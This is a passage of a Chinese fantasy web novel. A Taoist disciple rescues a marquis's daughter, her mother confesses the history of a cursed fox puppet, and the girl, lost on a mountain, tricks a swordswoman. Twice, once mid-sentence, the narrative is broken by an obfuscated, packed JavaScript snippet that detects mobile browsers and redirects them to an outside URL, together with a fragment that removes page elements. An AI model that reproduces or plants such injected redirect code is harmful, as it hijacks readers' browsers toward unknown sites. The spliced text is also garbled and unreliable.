苍古道人念头一转,缓缓伸出手来,五指用力一张,那枚枕梦璃飞到了他手上,立即灿若明霞,淡淡莹蓝色光芒萦绕不绝。只见苍古道人默默念诵法诀,将一道祈福保命的符咒和一道降妖符咒一块封在玉坠之内。 “……这次逃过一劫,但热毒难消,这枕梦璃还需时时佩戴,五小姐可不要辜负了贫道的一番美意。” 梁温玉点点头,听话地把玉坠戴上。 “谢谢道长爷爷!” 苍古道人笑着摸了摸她的头。 蓝氏脱下自己的披风,替女儿盖上。 谢昭斜了蓝氏一眼,只见她冷汗涔涔地瘫坐在地,始终不发一言。 谢昭作势要离开。 梁温玉见他要走,大叫道:“等一下!你、你别走。” 话刚出口,立即有些气短。 她本想感谢他的救命之恩,可话在嘴边却说不出口。想细问那木偶娃娃究竟是何物,又怕与娘亲有关,支支吾吾半天说不出个所以然来,耳尖一红,有些窘迫地低下了头。 谢昭看着她欲语还休的模样和之前的娇纵跋扈大不相同,心情顿时很是微妙,被一口血呛得咳嗽起来。几缕黑发垂落肩头,微微遮住苍白的脸,犹如深谷寒玉,俊美得令人心惊。 他默默将剑收回鞘中,擦去嘴角的血。 七宝也看出,这侯府千金似乎和师兄认识,眼睛轱辘一转说道:“大小姐,我六师兄没什么本事,就是生得好看,远近闻名~” 谢昭冷冷斜了一眼过去,七宝立即闭上了嘴,躲到苍古道人身后。 “昭儿,既然那狐妖已经伏诛,你速速随为师回去疗伤为上。”众人都看出谢昭方才强行催动御雷术,早已体力透支,心脉受损。 梁温玉决定还是日后再找机会同他说吧。 蓝氏恭恭敬敬地将三人送到前院,眼睛一直盯着谢昭,身体不住发抖。 燕草上前福了一福道:“真人,多谢你们师徒救了我家姑娘姐,这匣诊金请您收下。我家夫人说了,改天定会亲自登门道谢。” 七宝接过那沉甸甸的盒子,打开一看竟都是黄金,瞬间瞪大了眼睛。 谢昭的眸子,冷冷扫过蓝氏没有血色的脸,他凑近了她,轻声说道:“蓝殷夫人,后会有期。” 蓝氏与他对视片刻,便哽咽着说不出话。 望着师徒三人远去的背影,蓝氏仍一动不动站在原地,直到燕草来唤她回去。 “夫人,姑娘还在房里等您。” 蓝氏整个人像被抽走了全部的力气,泪水潸然而下。 想起方才少年的脸,以及他手中的那柄漆黑的剑,黯然自语道:“真像,真像。” 阿鸾,你在天之灵可知?你的孩儿或许还活在这世上。 4. 第4章 娇女 是夜。 梁温玉闺阁的房顶破了个大洞,估计全部恢复原样也要个把月了,蓝氏临时将她安置在自己的卧房内。 屋内灯光暖黄如豆,红木雕花大床上铺好了暄软的衾被,梁温玉的头枕在蓝氏的膝盖上,嘴角泛起浅浅的笑意。 “娘,我肚子好饿……” 燕草捧着一只红漆的食盒笑吟吟地过来,呈上八色细点,都是阿玉素日爱吃的,有松子糖、百合酥、杨梅蜜饯、冰糖葫芦、杏仁酥、粽子糖…… “姑娘,先垫垫肚子,厨房那边很快就好了。” 梁温玉最喜甜食,她拿起一串糖葫芦,津津有味地舔了起来。这时似乎有个毛茸茸的东西正蹭着她的脚,低头一看,原是蓝氏所养的白猫。 梁温玉笑着抚摸小猫柔软雪白的毛发,小猫“喵”了一声,嗅了嗅她的手,浅绿的眸子凝视她一会,居然径直跳开了。 “这坏东西,几个月不见都不亲人了!” 片刻以后,桌上堆满了丰盛的食物,鸡鸭鱼肉、热汤热饭,应有尽有。 “我要吃鸡腿。”肚子里的声音又在说话。 梁温玉还在陷入困惑,手已经不由自主地朝面前的荷叶鸡伸了过去。 把旁添茶加饭的燕草看得目瞪口呆。 梁温玉平时是自由散漫,但人前也会保持大家闺秀的仪态,哪会像这般粗豪,抓着鸡腿嚼咽的同时还不停在往嘴里塞饭…… “阿玉,我已派人送信到军中给你爹,他明日便会赶回家中,见你没事他一定会很高兴的。” “唔……好的娘。” 坐在对面的蓝氏,面带微笑看着大难不死的女儿,用丝帕细心地为她擦拭嘴角的油渍。 酒足饭饱。 敲门声响起,两个小厮抬了沐浴的大木桶放进房内,几个丫鬟轮流提着热水倒进木桶,房间内顿时氤氲开白色的热气。 燕草将织锦屏风拉好,像往常一样替梁温玉脱去衣物,服侍她沐浴。 “阿玉,让阿娘看看,身上有没有留下什么伤痕。” 解开衣扣,外裳破烂的不成样子,贴身的里衣烧得焦黑,用手拂了拂便都掉了,雪白光洁的皮肤只留下几道浅浅的红痕,不禁暗暗松了口气。 蓝氏伸手抚摸着她乌黑及臀的发丝,把焦黑的部分剪掉,轻轻挽成双髻,牢牢一把将女儿搂在怀里,悲喜交加。 蓝氏离开后,梁温玉让一旁伺候的丫鬟们也下去,只留她一个人沐浴。 莹白细长的手指,撩了撩木桶微烫的水面。映出十四岁少女的模样,一张略带稚气的面孔,杏眼灵动,唇红似朱,神态懵懂天真。 只有那双漆黑的眸子多了一丝忧虑,她总觉得娘亲似乎有什么事瞒着自己。 试过水温,梁温玉迈进了水桶。皮肤好像被火烧过一般,又烫又痒。 适应了一会儿,泡在热水里……她感到全身的关节都打开了一样舒畅,轻轻晃动脖颈,顿时感觉放松了,在热水里伸出双臂环膝抱住自己,将下巴放在膝上。 氤氲的热气将梁温玉包围,侥幸未死仍心有余悸,手脚在水中微微发抖,庆幸、后怕、茫然之感一起涌上心头。脑海中不禁浮现出少年清俊的脸,想起那日自己不听他的规劝,反而咬了他胳膊一口,可他今日还来救自己,不禁百感交集,越想心头越乱,仿佛有一张织得很密的网将她套住了。 道长爷爷喊他“昭儿”,也不知是哪个“昭”字…… 她拿定主意,若是下次再见到他,一定要问个清楚。 想到此处,她嘴唇勾起一道弧度,不禁羞赧地把头沉到木桶里,咕噜噜噜在水里吐了几个泡泡。 她又回忆起那个木偶娃娃,还有梦境里那个红发少年赤焰,恍若隔世。 哪怕知道那少年是妖,并非善类,可梁温玉却觉得他并非要故意害自己,听到他被斩了还有几分难过。 木桶里的水渐渐冷去,梁温玉的头却歪在一边,不知何时泡在水里睡着了。 屋内寂静,只有乌鸦偶尔发出一声嘶哑的叫声。 梁温玉的呼吸绵长而匀称,一条绵软的手臂却被无形力道牵引着从水里抬起,“哐当”一声碰倒了搁毛巾的架子,响声惊动了等着伺候的丫鬟。 燕草将梁温玉安置到床上睡下,小心替她掖好被子,打了个哈欠准备回房休息。刚走出几步,便发觉有个人影站在她身后的,像在等着她。 “跟我来。”蓝氏的声音几乎弱不可闻。 燕草唯唯诺诺地跟随着进了静室,内心泛起一丝惧怕。 窗外的风吹动窗棂,发出呜呜的声响,不像普通的风声反倒像有人在低声哭泣。 屋里没有掌灯,燕草心里毛毛的,似乎有双眼睛在房间的暗处盯着她们。 微弱月光下,蓝氏的半边脸被黑暗隐去。 “燕草,我有一事问你,你要如实回答我……昨日救了阿玉的少,你可曾见过他?” 燕草点了点头,从头到尾将梁温玉在侯府偶遇谢昭发生的事情讲了一遍。 “果然……他是为着我来的。” 蓝氏不知受了什么刺激,突然转身抓住燕草的肩膀,厉声问道:“几个月前你亲眼看到的……我明明把那木偶烧毁了,你快说!” 燕草吓得快要哭出来,用力点着头,声音结结巴巴地说: “是、是的,夫人。我亲眼看见那东西已经烧成灰了,炭盆还是我亲手准备的!我后来见姑娘身上也有一个一模一样的,或许是那木偶兴许不只一个……” 蓝氏脸色极为难看,声音暗哑地道:“燕草,那木偶娃娃从来就只有一个。” 片刻后,她的手指颤抖着,缓缓指着墙边。 墙边案几之上赫然立着一只狐面木偶,玄色的衣服上面多出一道丑陋的伤痕,带着那似笑非笑的神情,阴魂不散地再次出现。 燕草全身僵住,头皮忍不住发麻。 这木偶仿佛像带着诅咒一般,再次凭空出现了,梁温玉出事那天她明明在侯府后院到处也寻不见。 蓝氏语气缓和些道:“你下去吧,把温玉照看好。留我一人静静……” 然后便闭上了眼,再不言语。 燕草悄悄从房间退出来,偷偷抹去脸上的泪水。 她家夫人素来贞静幽娴,从未对她这般疾言厉色过。 那木偶难道真的是来索命的? 梁温玉睡着的屋内的灯已熄,月光照着窗棂,四周一片静谧。透过薄薄的窗户纸,纤细人影兀自从床上爬了起来,向前摇摇晃晃走了几步便一头栽倒在了地上。 梁温玉的意识又沉在黑雾般的梦里,身后有人在追她,那双炽热的手死死扼住她的脖子。她回头,只见一个狐狸脸的怪人,张开血盆大口,朝她“嘿嘿”怪笑,下一秒就将她吞噬掉。 梁温玉惊叫一声,猛地睁开眼睛,发现天已经亮了。 一只手温柔地擦拭掉她额头沁出的细汗。 “桓郎,阿玉醒了。” 梁温玉看见那人白皙清俊的面容,随即喜笑颜开,“爹爹!我好想你。”伸出胳膊便要那人抱。 此人正是武定侯梁桓,他雄踞西北边境多年,就连嗜血残暴的北厥异人听其名号都会闻风丧胆。可他外表却极为儒雅,昨晚接到女儿意外受伤的信就连夜从军营赶回,身上的铠甲都来不及卸下,足可见慈父之心。 梁桓小心将女儿扶起,伸手摸了摸她的额头。 “玉儿……爹爹来迟了,你身上还疼吗?” 看着梁桓满脸的怜惜和担忧,梁温玉笑着摇摇头,亲昵地搂住爹爹的脖子,如同挂坠一般挂在梁桓身上。 梁桓笑着唤来下人。 丫鬟为梁温玉系好丝罗襦裙的带子,淡淡的藕荷色,飘带上还坠着叮铃作响的佩饰,她旋身走动了几步,全身散发出茉莉香气来。 依旧是那个娇滴滴的,养在深闺的侯府五姑娘。 燕草扫了一眼一言不发的蓝氏,无其事地打趣道:“侯爷,姑娘连睡觉都不老实,昨晚都滚到地上去了,怪不得总喊着要去习武。” “谁说的,明明是这床太窄了!”梁温玉俏皮地撅起嘴,心里忍不住疑惑,自己真睡着了滚在地上都不知么,她却没一点印象了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482574|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “玉儿,下个月是你的及笄之日,可有什么愿望?”梁桓笑着问道。 “我只要爹爹那日不要忙了,和娘亲一起陪我看折子戏,可不许赖皮。” 他自然满口答应下来,见爱女安然无恙站在面前,悬着的心也放了下来。 “阿玉这次能够大难不死,幸亏了苍古相救。原本应该本侯亲自登门道谢,只是那晚的事毕竟离奇,只怕泄露风声出去招惹流言蜚语。” 蓝氏听出梁桓的言外之意,稍作思量说道: “侯爷,等我身子好些去观中多捐些香火钱也就是了。你连夜赶回来,眼下都乌青了……用完早膳再回房中补个觉吧。” 梁桓看了一眼蓝氏苍白得没有血色的脸颊,语气谦和而疏远,“这两日难为你了……放心,有我在,一定护你们母女周全。” 蓝氏唇边泛起苦笑,点了点头。 梁桓闻见她发丝间散出的香气,似乎想到了什么,微不可见地皱了皱眉。 “对了,这个月天瞾派了皇子及使臣前来,街上会有不少北厥人……你和阿玉无事尽量不要出门了。” 他神色忽然变得冷峻,喊了身旁的亲随祺祥过来。 “吩咐下去,城内如有议论那晚异象、怪力乱神者,统统抓起来,丈责示众。” 仆人把早点送了上来,一家三口围坐下来享用那精致无比的菜肴,梁温玉看着爹娘,眼里全是笑意,满室的温馨与安宁。 梁桓开口说道:“我待会儿还要先趟回侯府,大娘子那边也差人来问阿玉的伤势了。这几日她先在你这好生歇息,等她身子好了再接她回府去也不迟。” 梁温玉原本还在默不作声地嚼着包子,忽然开口:“爹爹,我可不可以不回侯府去了。若是祖母她们见我又好端端活了过来,肯定少不了要盘问我!我以后都要留在阿娘身边。”说完就挪得离蓝氏更近了些。 “玉儿,不许胡说!你祖母和母亲都很记挂着你。” 梁温玉暗暗翻了个白眼,心想,祖母向来视她如异类,只怕是记挂着回去以后怎么罚她吧。 饭后,梁桓叮嘱了几句便带着若干随从离开了。 蓝氏一早上都心神不安,郁郁寡欢。梁温玉其实也看出,这一两年爹爹来看娘亲的次数愈发少了,不像从前那样经常留宿,这次更是才稍坐了坐就离开了。 阿娘似乎很不开心的样子,明显瘦了一大圈。虽说过着锦衣玉食的生活,但她在眼里,却觉得她过得实在辛苦,总是一脸病容。 梁温玉凑近想宽慰几句,伏在蓝氏怀里撒娇。 “阿娘,你是不是没有好好睡觉,眼睛都要不漂亮了。” 蓝氏强颜欢笑,语气却哀伤。 “你爹爹平日里待娘如何?” “爹……他对你很好啊。” “很好……当真很好吗?”蓝氏眼中泪水滚动。“他对我总是淡淡的,从不会把心里话同我讲……罢了,你年纪还小不会懂得这些。” “娘你不要伤心,等我叫爹爹下次多多陪着你。” 蓝氏低下头,情不自禁地抱住面前的小人儿,凄然一笑。 “阿玉……等你长大以后,挑郎君的时候,千万不要把一颗心全都托付出去。你要知道,这世上唯有娘不会骗你……娘无论做什么,都是为了你。” 梁温玉看着蓝氏忧愁美丽的眼睛,认真将她说的话记在了心里。 其实她自小就知道,自己的娘出身卑贱,爹为人最重视礼法,不能纳她给她名分,甚至她的名字在侯府也不允许被提起。 明明她那么美,是世上最好的女子,却要被抹去名字过这一生……梁温玉打心眼里为她抱不平。 其实侯府里的祖母、侯夫人,从小对她还算周到客气,旁人偶尔说三道四,她也不会将那些冷言碎语放在心上,性子依旧淘气顽皮没有一点闺秀的样子。 幸好她爹爹梁桓,这个战场上厮杀出来的铁血侯爷,打心底觉得庶女性子骄蛮得可爱,不似寻常闺秀那样死板,将她如明珠般捧在手心。 她也深信,以爹爹光明坦荡的为人,绝对不会辜负娘亲。 5. 第5章 诉情 梁温玉本就活泼好动,困在房里都要憋闷坏了。 梁桓才叮嘱过她们不宜外出,隔日梁温玉便缠着娘亲要外出散心。 她平日里偷偷出门总爱换上男装,只当这般就能不知不觉地掩人耳目。蓝氏实在拗不过梁温玉软磨硬泡,便选了三日后的吉日,携她前往玄清观祈福,顺道拜访苍古道人师徒。 天蒙蒙亮,车轮辘辘,一路飞驰着朝着仙灵山驶去。 临沅城百里外的仙灵山脉,终年云雾环绕,峰峦起伏,飞瀑流泉,景色奇绝。自古相传有修真之人长居于这山上,每遇云开雾散有缘之人能观见御剑飞行的奇景,因此得名仙灵山。 数千年前,玄清门的先祖在梦中得九天玄女开化,大彻大悟,遂在仙灵山上开宗立派,广招门人,照拂一方百姓。人们在仙灵山山腰修建玄清观,大殿之内供奉九天玄女娘娘,延续数千年来,香火不断。 直到七十多年前,慕容桀凭雄武之材登极,却渐肆荒淫,暴虐无道,将宗室几乎屠戮殆尽,四海之内皆是哀鸿。其弟慕容微以拯百姓于暴虐、救国家于倾危为名召集四方忠义之士,共伐暴主。 兵火过后的玄清观成了断墙残瓦,只剩下一座光秃秃的山头。玄清门日渐式微,只剩下寥寥二十几个门人,当时的掌门灵虚子逼不得已带着徒弟苍古下山另谋出路,临行前将玄清门的道宗功法黄纸密封,悉数掩埋在深山洞穴之中,期盼后世再有能参悟这些法门的弟子出现。 说来也神奇,苍古道人前半生庸庸碌碌一事无成,却在六十六岁那年,被梁桓招至麾下,以奇门遁甲之术助慕容微攻进皇城,逼桀帝于高台自焚。 新君即位后暴虐更甚,终至北方异族部落压境。 慕容微竟不战而降,将北方疆域拱手送上,甘愿俯首称臣,尊异族为“天曌皇朝”。此后两国以一江之水为界,慕容微带着妃嫔向南迁都临沅,改国号为“晟”,岁岁年年都要向天曌国进贡。 尽管民有怨声,但天下分裂,大势已定。 玄清门却从绝处逢生,自梁桓加封武定侯之日便请旨重修仙灵山的多座殿宇,新帝又一并赏赐良田万亩作为香火地。 时至今日,玄清观又恢复了香火兴旺、人声鼎沸的气派景象。 玄清门更是声威显赫,弟子已逾三千,成为天下第一门派。 ************ 马车缓缓停下,梁温玉掀开车帷,抬头只见山顶云雾环绕,宛若仙境。许多大户人家的车马都停在山麓,香客们来敬香为了表达虔诚之心,通常都得沿着石阶一路徒步上山。 天上下着淅淅沥沥的小雨,石阶生了青苔,有些脚滑难走。 梁温玉步履轻快地走在前面。她青丝半束,以一支羊脂玉簪绾起,身着青色暗纹锦衫,脚蹬软缎布靴,一身料子皆是上等,虽作书生打扮,却更像个雍容华贵的俊美公子。 她回过头朝蓝殷喊道: “阿娘,你先和燕草进去上香,我去去就来。” “慢点,阿玉。” 蓝殷兀自心事重重,身子孱弱,由丫鬟轻轻搀扶着,步履便慢了许多。稍一失神,抬眼望去,前头早已不见女儿的身影。 城中百姓都知玄清观灵验无比,不仅是达官贵人会在重要日子来这里烧香祈福,就连宫中的帝姬、娘娘们也会在生辰之日请旨出宫来这里请海灯。 一路上人头攒动,今日进香的香客好像比往日都要多,观中烟雾缭绕,殿宇楼阁重重,钟磬齐鸣,也不知是赶上什么日子了。 “夫人莫慌,我这就跟上前看着姑娘。”燕草带着几个随从纷纷去找人。 蓝殷孑然一人走进正殿,大殿之内供奉着三清塑像,香客络绎不绝,多在跪拜求签。 她在堂前蒲团跪了下来,默默燃香祝祷,背影袅袅。 “娘子,许久不见啦,您是来找师傅他老人家的吧。”说话之人正是与她有过一面之缘的小道童七宝。 蓝殷回头微微一笑,顿时百媚横生,看得七宝不禁小脸一红。却见她的目光越过自己在殿内游移,像在找什么人。 “娘子,您来得不巧,师父他老人家外出云游了。” “小师傅,可否带我去见你师兄?” 七宝咧着嘴,手朝旁边的方向一指。 “六师兄就在那边,娘子请随我来。” 偏殿的角落,不大的一块地方围得里三层外三层,都是前来解签的年轻姑娘。 玄清观内走来走去的负责解惑的道士不少,但那些年轻的闺秀似乎都是奔着同一人去的。 一个清冷的男声传来:“凡事先难后易,姑娘所求之事只需耐心等待,终能圆满。” 人头攒动之间,只见一位冷脸少年端坐在书案前,从容不迫地解着签文,正是那日来府中施法救人的少年。 “多谢道长!”满头珠翠的女子脸笑成一朵花,从他手中接过竹签,欢喜地向功德箱里豪掷了十两银子。 “我的我的,请道长先看我这支……”后面的女子伸长脖子递补了上来。 苍古道人掌管的玄清观,所属玄清门六大宗之一的无相宗。但凡其座下弟子,无论道俗,都要每月轮着一回到观内为求签祈福的信众解签断字。 渐渐有传闻,玄清观有个长相极惊艳的少年,测字算命颇为灵验,慕名前来人都快把门槛踏破了。 更有不少临沅城的女眷特意差人打听清楚那少年当班的日子,刻意打扮一番到玄清观里上香求签,只为一见。 一阵若有似无的异香传来,使有些喧嚣的角落忽然安静下来,围观的人不自觉地吸了吸鼻子。 道童七宝嚷了一声,“六师兄,你看是谁来了!” 人群中自动让开了一条路,香客纷纷睁大眼睛。只见蓝氏徐徐走来,低眉敛目,咳嗽得双颊微红,震得鬓边的步摇轻晃了晃。 众目睽睽下,蓝氏敛好衣裙坐下,谢昭抬起头,看见来人是她并不感到意外。 “请替奴家测一字。” 少年眉眼皆是冷淡之色,微微点头。 蓝殷执笔蘸默墨,随手在宣纸上写下一个「鸾」字。 “夫人想要问什么?” “奴家及家人是否能够平安?” 谢昭忽然冷笑:“亦字在上,运笔飘逸,可见前半生尊荣加身,富贵占尽。只可惜……” “您请但说无妨。” “夫人运笔收敛过甚,这‘鸟’字无飞扬之态,上下左右皆被束缚……鸾鸟入樊笼,浮华转头空。主所求之事留不住,又主终难善终。看来夫人近日必有大祸来临。” 蓝殷掩饰不住内心的慌乱,手一颤,墨滴溅落。 “可有破解之法?” 谢昭起身:“夫人请随我来。” 众人的眼光在他们离去的背影上扫来扫去,吵嚷的人群开始有人低声赞叹着道:“这二人真是养眼。” “是啊,好美的娘子,若是年轻十几岁和这道士小哥倒是般配。” “这娘子一身绫罗绸缎价值不菲,不知是哪位大人家的夫人。” 旁边忽然有人认出了她,接过话茬嗤笑道:“你们竟不认识她?临沅城大名鼎鼎的美人,十几年前名动一时呢。” “呵呵,什么时候暗门子里出来的见不得光的货也配称夫人了……” 耳畔隐约的人声渐渐消失,蓝殷跟着谢昭来到观内一处游廊,前方几棵高大的松柏掩映着,再僻静不过。 蓝殷静静在旁注视着少年英挺俊秀的脸庞,无论长相、还是那清冷出尘的气质,都像极了那个人…… “谢少侠,那日小女危在旦夕之时,承蒙您相救,我好生感激。” 谢昭看着她的目光冷峻得如同寒冰。 “令千金福大命大,本不必我出手相救,那日也只是听从师命罢了。” 蓝殷转过身,微风拨乱了她的鬓庞的发丝。 “谢少侠……你测的字,竟这般灵验。奴家原还心存一丝念想,如今才知,自己不过是只断了翼的鸟,任人摆布,只能在这惶惶不安中度日。” 蓝殷眼波流动,下定某种决心般问道。 “谢少侠曾见过小女手中的那只木偶娃娃吧。” 谢昭愣住,扬起眉继续听她说着关于那木偶的来历。 “……奴家身世飘零,半生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482575|201833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都无枝可依。没遇见侯爷之前,我只是江南画舫上一个小小的船妓。 那年我和姐妹们一起乘着官船沿着沅江向蜀中行驶,不料半路遇见了暴风雨。夜晚的风浪好大,船舱破了……我只能死死抱着桅杆,看着身旁的人一个一个被卷入了漆黑的江水。后来整条船身都裂开了,我也掉进水里,那江水真的是冰冷得刺骨…… ……等我再度睁开眼时,人已趴在一块残破船板之上,随江水漫无目的地漂浮。便是在那时,这只木偶娃娃,悄无声息地出现在我身边,一瞬不瞬地望着我! 这东西第一次现身,整船上下数十人,连一根骨头都没留下!可我当时只当它是被水冲上来的异物,还随身带了回去。 后来我试过无数法子想要毁了它,丢进江中、用火焚烧……可无论如何,它总会再度出现,每次都有人死于非命。这次阿玉侥幸不死,只怕日后还会身处险境!”蓝殷掩面哽咽,努力忍着让声音不至于颤抖。 “少侠的师弟年纪尚幼,却当真聪慧通透,那日他一语点破其中玄机。我才惊觉……上古妖神赤尾恐怕就是那索命的恶灵!想来那日殒命于你剑下的,不过是它一具肉身罢了,元神还附在那具木傀儡之中……” 谢昭用一种漫不经心的口气说道:“传说而已,不足为信。你所说的这些或许也只是巧合。” 蓝殷深深吸气,恳求道:“奴家所说句句属实,只要这东西存在世上一天,都会招致血光之灾。奴家不愿看着阿玉也像我这样……一辈子活在忐忑之中,恳请少侠帮我毁了它吧!” 谢昭脸上依旧是淡淡的镇静之色,几乎一眼看穿了她内心的恐惧,那藏于平静之下的压迫感,让她不寒而栗。 “呵,旁人都做不到的事,你又怎知我做得到?” 她看向谢昭腰间悬着的剑,声音努力忍着不至于颤抖 “妖神降世,湛泸……是传说中的仁义之剑,它既选了你,便注定了你是那个弑神之人。” 谢昭抬眼:“可笑……我为何要自损修为去做弑神之事……况且,你的女儿死活又与我何干?” 蓝殷颤声问道:“少侠那日在我家中出现,不只是为了救人吧……” “夫人今日来找在下,究竟是为令千金,还是为了你自己?” 谢昭的话如同一盆冷水浇下,她眼前一阵模糊,咬着唇垂下头,那些记忆都变得遥远起来。 那日谢昭挥剑救下温玉时,她便认出他很像一个人,一个她做梦都想忘记的故人。 她的指甲深深掐进掌心,一字一句,哑声说道:“我如今自身难保……往后,再护不住阿玉了。只要你答应帮我毁掉那邪物,我可以把我知道的都告诉你。” 谢昭的嘴唇勾起一抹冷笑。 “蓝殷夫人,世人皆知你是薄情之人,为了救自己的情郎……可以背信弃义,害死旧主!你如此心疼令千金,可你知不知道,你害得一个孩儿,自由就成了孤儿,历经千辛万苦,被迫修行……” “当年之事……我的确罪孽深重,可是那要害你母亲的人,却不是我!” 蓝殷她扭过头,不敢直视少年凌厉的眼神,倏然间一滴泪从脸庞滚落。 “我会帮你毁掉那木偶。也会帮你去救你女儿……只希望你能信守诺言。” 谢昭转身离去时,蓝氏忽然叫住他道: “等等,孩子……我这里有一物要交予你。” 她默默将那东西放在他掌心。 那是一枚小小的凤纹玉印,触手生温,底面赫然刻着:“青鸾佑子”。 谢昭一怔,沉默片刻,御空向后山飞去。 蓝殷望着少年拂袖而去的身影,心头久久不能平静。 又过了良久,派出去的小厮回来禀报,整座玄清观都没有找到梁温玉的踪影。 蓝殷走下台阶,看见有几个小孩子在大殿前互相追逐打闹着,传来一阵阵天真的嬉笑声,又有两个姑娘求到了上上签,脸上也带着欣喜。她还看见了七宝,在忙来忙去。 一切都那么祥和、平静。 她扬起脸,看了看此时已经放晴的天空,在心里做了一个决定,就是今日吧。 6. 第6章 迷路 后山的一条羊肠小路上,梁温玉正边走边四处张望,记忆里那个曾和娘亲一同来过的地方却一直没有出现。 临沅城人皆知,玄清观后山有棵千年的结香树,传说下面埋葬着狐仙的尸骨,只是无人说得清它的位置在何处,但凡有缘之人可以寻见,只要绑上写有男女名字的红绸,再在枝上打个同向的结,就可保一生姻缘顺遂、家庭圆满。 梁温玉前些日子想起这个传闻,打算将写着爹爹和娘亲名字的绸带亲手挂上去,所以刚下马车便急急地跑在前面。 正雨霁天青,日光穿过厚厚的云层散开,天边如同刚被洗过的清透的蓝,只是空气中带了点闷人的倦。 随着人流向前,路渐陡峭,她记得这条上山的路先前并没有这么难走啊。 梁温玉有些微喘,她轻拭额间的薄汗,瞥了一眼山脚下玄清观的青灰色瓦顶,内心开始忐忑不安起来。 半个时辰的功夫,怎么就上了山了,她的脚力何时这么迅捷了?而且,印象中经过刚刚的陡坡后,明明再走一段小路就该到了。 方才的日头在东边,那自己朝着影子的方向走应该就是西了,可她前面居然没有路了…… 风包裹着丝丝凉意,等梁温玉回过神来,骤然发觉四周已经杳无人烟,放眼望去,脚下一片郁郁葱葱,隐约只能看见远处赭红色的钟楼,在雾霭中若隐若现。 一段路她来来回回走了几遍,仿佛一直在兜圈子。 她迷路了。 自那次死而复生后,梁温玉就时常做出些不受控制的异常之举,与今日之事联想起来,更觉得匪夷所思。 面前是一片云雾缭绕的青翠竹林,山风吹过,竹叶清香扑面而来。 正在发愁该从哪个方向下山,忽然听见远处的林中,有刷刷刷的划破竹叶的声响。仔细一瞧,前面缥缈的云雾间有座绿竹搭成的竹轩,有个人影正在林中练剑。 不如先上去问个路吧。 漫天竹影摇曳,舞剑的女子身姿轻盈,秀发如瀑,面容秀美中带着英气,腰间一条碧色绸带随风飘起。 察觉此处有陌生人闯入,她身形一晃,厉声喝道: “什么人?”声音似有恼怒之意。 只见那绿衣女子手腕一翻,长剑迎面朝她刺来,梁温玉惊得连连退后几步,剑尖停在离她鼻子只有一寸的距离处。 “抱歉!我是外面来的香客,误入了此处,不小心冲撞了姑娘!”梁温玉吓得高高举起双手。 那女子斜挑着眉梢,上下打量了她一番,只当她是个衣着华贵的年轻公子,并没看出是女扮男装。 “你是山下人?此乃我剑宗闭关之地,尔等闲杂之人是如何找到这里的?” 梁温玉吓得双脚发软,心想:这玄清门的修真之人怎么都动不动就拿剑指着人? 慌忙解释道:“呃,仙姑饶命!在下是想去寻那棵姻缘树,误入于此、误入于此!” 那女子眼中凌厉之意不减,剑尖又凑近了她鼻子半寸。 “这四周都是瘴气,普通人根本不可能找到这里的。再不说实话,小心我毁了你的一对招子!” “在、在下来这是想找一个人,叫、叫……”她叫不全那少年的名字,随口报出苍古道人的名讳。 “苍古真人,仙姑总听说过吧。我是他老人家的……” 那女子用鼻子冷哼一声,打断了她。 “你这贼人,胆敢打着师伯他老人家的名号在此胡言乱语!依门规,偷学别宗功法之人当杀无赦。说,你是不是翠微堂派来偷学剑法的?” 梁温玉一呆,头摇得像筛糠,这回横竖怕是解释不清了。她急中生智,脱口而出: “等等,我还没说完呢!是苍古真人他老人家的……徒、徒弟,让我来这里找你的。” 那女子神色微变,“他的哪个徒弟?” 梁温玉顺口便编起了瞎话。 “咳咳,仙姑,你可千万不要误会。事情是这样的……前些日子我娘亲得了怪病,多亏了玄清门的少侠赠药医好了我娘。那位少侠自称是苍古道人的徒儿,要我到此处的小竹屋来找一位闭月羞花、美如天仙的姑娘,呃……替他传个口信。” 那女子稍加思忖,将信将疑,心想,好像是听无相宗的人说起,苍古师伯前些日子下山救了什么人。又仔细瞧了梁温玉的一身华贵装束,的确是个富家公子的打扮,不像是修真之人。 她态度稍微缓和,沉吟着放下手中的剑,轻声问道:“让你传话那人……叫什么名字?” “那位少侠名字里有一个昭字,身边还跟着个小师弟叫七宝的……仙姑,我说的没错吧?” 绿衣女子脸色一变,登时问道:“当真是谢昭让你来的?” 她冷艳如冰的脸上泛起红晕,眼神掩饰不住内心的小鹿乱撞。 “正是谢少侠!咳咳……他想要约你一起月下练剑,还说心里从早到晚一直惦记着你,不知你何时得空呢。” “他……他当真这么说?”绿衣女子瞬间表情变得又惊又羞。 梁温玉内心直呼好笑,她本就爱捉弄人,当即决定继续编些瞎话来逗一逗这女子。 “是啊……他身边的师兄弟太多,想见仙姑你又不好意思当面同你说,这才让我来此给你递个话……好了,我任务完成了,就不多打搅了。先行告辞!” 梁温玉刚想脚底抹油溜走,却被叫住。 “等等!你就别叫我什么仙姑了,我的名字叫沈湄,你呢?” 梁温玉眼皮跳了跳,道:“我叫梁承瑾。”她随口报出平日与她最亲近的侯府二房三哥哥的名讳。 “梁公子,多谢你冒险到此传话,方才冒犯之处还请见谅…… 此处是我剑宗历代用来摄取月华修炼之地,天黑后附近常有山精野怪出没。那边有条近路可以下山,路上经过陡崖小心些便是……沈湄还有一事相求,可否请公子下山以后到观里也替我捎句话给他?” “沈姐姐不用客气,包在我身上!” “请公子同他说……明晚日落,我在这等他……”沈湄低声说着。 